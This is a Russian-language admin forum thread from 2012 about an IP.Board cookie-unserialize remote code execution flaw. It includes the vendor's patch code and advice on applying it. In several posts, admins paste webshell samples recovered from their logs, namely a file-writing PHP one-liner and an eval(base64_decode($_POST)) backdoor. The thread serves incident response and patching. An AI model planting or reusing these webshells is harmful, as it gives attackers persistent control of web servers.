Jump to content
Дизайн и модификация IPS Community IPBSkinsBETA
Search In
  • More options...
Find results that contain...
Find results in...

Recommended Posts

ИБРовцы похоже еще спят http://forums.ibresource.ru/index.php?/topic/64826/ :)

если прошурстить у них в /cache/ наверняка и шелл найдется)

 

Патчи от 6 ноября 2012 для ИБР версий

http://ipbskins.ru/forum/topic10798.html/page__view__findpost__p__70490

  • Upvote 1

Share this post


Link to post
Share on other sites

Что-то так лениво обновлять все форумы...

 

А в IBR работают бандерлоги - запихали свои функции в core.php, и этим добились несовместимости своего дистрибутива с английским. Положили бы свои сео-функции в constants.php, а переназначение ЧПУ - сделали бы хуком, и такой проблемы не было бы, и совместимость была бы полная.

  • Upvote 2

Share this post


Link to post
Share on other sites

Насколько я вижу, алгоритм простейший. В старом методе get класса IPSCookie выполнялось userialize для cookie, если она начиналась с 'a:'. Если подсунуть в cookie сериализованный объект, он разворачивался в инстанс, и код конструктора выполнялся. По сути это уязвимость вида "remote code execution" - очень серьезная дыра. Проблему решили добавлением проверки на наличие объекта в составе упакованного объекта - метод safeUnserialize в составе класса IPSLib:

	/**
* mixed safe_unserialize(string $serialized)
* Safely unserialize, that is only unserialize string, numbers and arrays, not objects
*
* @license Public Domain
* @author dcz (at) phpbb-seo (dot) com
*/
static public function safeUnserialize( $serialized )
{
	// unserialize will return false for object declared with small cap o
	// as well as if there is any ws between O and :
	if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
	{
		if ( strpos( $serialized, 'O:' ) === false )
		{
			 // the easy case, nothing to worry about
			 // let unserialize do the job
			 return @unserialize( $serialized );
		 }
		 else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
		 {
			 // in case we did have a string with O: in it,
			 // but it was not a true serialized object
			 return @unserialize( $serialized );
		 }
	 }

	 return false;
}

 

Эту проверку внедрили в метод get:

    /**
 * Get a cookie.
 * Abstract layer allows us to do some checking, etc
 *
 * @param	string		Cookie name
 * @return	mixed
 * @since	2.0
 */
  	static public function get($name)
{
	/* Check internal data first */
	if ( isset( self::$_cookiesSet[ $name ] ) )
	{
		return self::$_cookiesSet[ $name ];
	}
   	else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
   	{
		$_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

   		$_couldBeSerialized = stripslashes( urldecode( $_value ) );

   		if ( substr( $_couldBeSerialized, 0, 2 ) == 'a:' )
   		{ 
			return IPSLib::safeUnserialize( $_couldBeSerialized );
   		}
   		else
   		{
			return IPSText::parseCleanValue( urldecode( $_value ) );
   		}
   	}
   	else
   	{
   		return FALSE;
   	}
   }

  • Upvote 2

Share this post


Link to post
Share on other sites

Нас пропатчила только что английским патчем

Share this post


Link to post
Share on other sites

Возможно, нас тоже пытались ломать.

Share this post


Link to post
Share on other sites

Нда, посмотрел на пару школо-форумов, все поголовно с шеллами, на некоторых целый букет. Похоже уже начали ломать на автомате.

  • Upvote 1

Share this post


Link to post
Share on other sites

Подтверждаю. Один форум не пропатчил - десяток шеллов на нем уже лежит. Довольно серьезная дыра, создающая множество проблем.

 

Подобные проблемы заставляют задуматься об отказе от использования IP.Board...

Share this post


Link to post
Share on other sites

Вот такие вот шеллы дропают:

 

d19d8a81069d77af4fccda594ddef321.php

==============================================================================
URL: /index.php/index.php
Date: Mon, 05 Nov 2012 20:31:41 +0000
IP Address: 74.208.213.252
Time Taken: 0.00022
<?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

37b5d35ddc8dd39b62ecfc0025fefb58.php

==============================================================================
URL: /index.php/forums/index.php
Date: Mon, 05 Nov 2012 20:32:02 +0000
IP Address: 74.208.213.252
Time Taken: 0.00021
<?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

Явно автобот работает.

Share this post


Link to post
Share on other sites

Поступили кардинально. Вместо serialize/unserialize задействовали json_encode и json_decode. Чтобы применить патчи на русской версии, надо скачать английскую версию core.php, скопировать из нее и целиком заменить в русской класс:

/**
* IPSCookie
*
* This deals with saving and writing cookies
*/
class IPSCookie
{
...

 

Второй файл можно смело перезаписывать.

  • Upvote 1

Share this post


Link to post
Share on other sites

Вынесу тему в паблик, пожалуй. Тут ничего такого нет, а мне удобно ссылку давать.

Share this post


Link to post
Share on other sites

Это просто жесть какая-то. На всех форумах, к которым у меня есть доступ, есть /cache/ - шелл.

 

Видимо, стремительно прошла вторая волна, уже обходящая первый патч. Вот спасибо IPS за счастливое детство. Закрываю все свои IP.Board форумы на карантин.

Share this post


Link to post
Share on other sites

В большинстве случаев просто дропнули шелл и пошли дальше. Видимо, ботнет собирают.

Share this post


Link to post
Share on other sites

Вариации шеллов:

 

/cache/cx.php

==============================================================================
URL: /index.php/
Date: Tue, 06 Nov 2012 12:48:48 +0000
IP Address: 195.182.194.223
Time Taken: 0.00022

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================
==============================================================================
URL: /index.php/
Date: Tue, 06 Nov 2012 12:48:48 +0000
IP Address: 195.182.194.223
Time Taken: 0.00021

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

/cache/cache.php

==============================================================================
=========================        END       ===================================
========================= /index.php?%3C?error_reporting(0);print(___);eval(base64_decode($_POST[HTTP]));die;?%3E ===================================
==============================================================================

Share this post


Link to post
Share on other sites

Всплывает старая истина: запрет на web-доступ к /cache/ - всегда хорошая идея)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...